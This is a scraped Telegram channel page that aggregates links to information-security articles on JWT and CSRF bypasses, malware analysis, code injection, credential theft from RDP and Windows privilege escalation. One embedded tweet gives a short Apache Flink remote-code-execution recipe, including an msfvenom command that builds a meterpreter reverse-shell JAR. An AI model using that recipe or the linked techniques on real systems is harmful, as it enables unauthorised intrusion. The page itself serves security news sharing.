Information Security
@sec_nerd_en
415 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
415 subscribers
Information Security
https://mazinahmed.net/blog/breaking-jwt/
Mazin Ahmed
Practical Approaches for Testing and Breaking JWT Authentication
90 views
Information Security
https://medium.com/@inonst/a-deep-dive-on-the-most-critical-api-vulnerability-bola-1342224ec3f2
Medium
A Deep Dive On The Most Critical API Vulnerability — BOLA (Broken Object Level Authorization)
Intro
96 views
Information Security
https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/

https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/
you sneakymonkey!
Config & Module Analysis
Research into how to decode the TRICKBOT config, quickly analyse to provide context and help incident response/blue teams.
114 views
Information Security
https://ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions
www.ired.team
Enumerating RWX Protected Memory Regions for Code Injection | Red Team Notes
Code Injection, Defense Evasion
123 views
Information Security
https://twitter.com/jas502n/status/1193869996717297664?s=19
Twitter
Jas502n
【Apache Flink Dashboard 未授权访问-远程代码命令执行】 测试环境：1.9.1 1. upload a malicious JAR msfvenom -p java/meterpreter/reverse_tcp LHOST=10.10.20.166 LPORT=8989 -f jar > rce.jar 2. submit new job 3. getshell https://t.co/vOgoux5PhZ
112 views
Information Security
https://safebreach.com/Post/McAfee-All-Editions-MTP-AVP-MIS-Self-Defense-Bypass-and-Potential-Usages-CVE-2019-3648
108 views
Information Security
https://medium.com/@terjanq/massive-xs-search-over-multiple-google-products-416e50dd2ec6
Medium
Massive XS-Search over multiple Google products
A couple of months back, I took a part in researching dangers that come from Cache Probing Attack and new ways to exploit the…
186 views
Information Security
https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/
137 views
Information Security
https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated/
Binary Defense
Revenge is a Dish Best Served... Obfuscated? - Binary Defense
James QuinnJames Quinn is a SOC Analyst for Binary Defense.  When he is not working at Binary Defense, he works as a freelance malware analyst and produces IOCs for the Cryptolaemus Emotet Group.
108 views
Information Security
https://github.com/tsluyter/Zines
GitHub
tsluyter/Zines
Zines about my personal learning. Contribute to tsluyter/Zines development by creating an account on GitHub.
92 views
Information Security
https://github.com/no0be/DNSlivery
GitHub
GitHub - no0be/DNSlivery: Easy files and payloads delivery over DNS
Easy files and payloads delivery over DNS. Contribute to no0be/DNSlivery development by creating an account on GitHub.
91 views
Information Security
https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html
Shenanigans Labs
Ghost Potato
Halloween has come and gone, and yet NTLM reflection is back from the dead to haunt MSRC once again. This post describes a deceptively simple bug that has existed in Windows for 15 years.

NTLM reflection is still possible through a highly reliable timing…
92 views
Information Security
https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/
The Pwnbroker
Getting Arbitrary Code Execution from fopen's 2nd Argument
hugeh0ge's blog
96 views
Information Security
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE
GitHub
GitHub - blaCCkHatHacEEkr/PENTESTING-BIBLE: articles
articles. Contribute to blaCCkHatHacEEkr/PENTESTING-BIBLE development by creating an account on GitHub.
99 views
Information Security
https://medium.com/better-programming/prototypes-in-javascript-5bba2990e04b?_branch_match_id=679786477478033392
Medium
Prototypes in JavaScript
In this post, we will discuss what are prototypes in JavaScript, how they help JavaScript in achieving the concepts of Object-Oriented…
105 views
Information Security
https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/
MDSec
RdpThief: Extracting Clear-text Credentials from Remote Desktop Clients - MDSec
Introduction Remote Desktop is one of the most widely used tools for managing Windows Servers. Admins love using RDP and so do attackers. Often the credentials that are used to...
110 views
Information Security
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
206 views
Information Security
https://iwantmore.pizza/posts/quickzip-seh-win10-wow64.html
109 views
Information Security
“6 Methods to bypass CSRF protection on a web application” by Shahmeer Amir https://link.medium.com/xQPJH5iEA1
Medium
6 Methods to bypass CSRF protection on a web application
This article contains some of common ways to bypass CSRF protection in web applications that you can use as bug bounty hunter
125 views
Information Security
https://adsecurity.org/?p=3164
Active Directory Security
Microsoft LAPS Security & Active Directory LAPS Configuration Recon
Over the years, there have been several methods attempted for managing local Administrator accounts: Scripted password change - Don't do this. The password is exposed in SYSVOL. Group Policy Preferences. The credentials are exposed in SYSVOL. Password vault/safe…
122 views
Information Security
https://github.com/gtworek/PSBits/tree/master/WinDefend
GitHub
PSBits/WinDefend at master · gtworek/PSBits
Simple (relatively) things allowing you to dig a bit deeper than usual. - gtworek/PSBits
233 views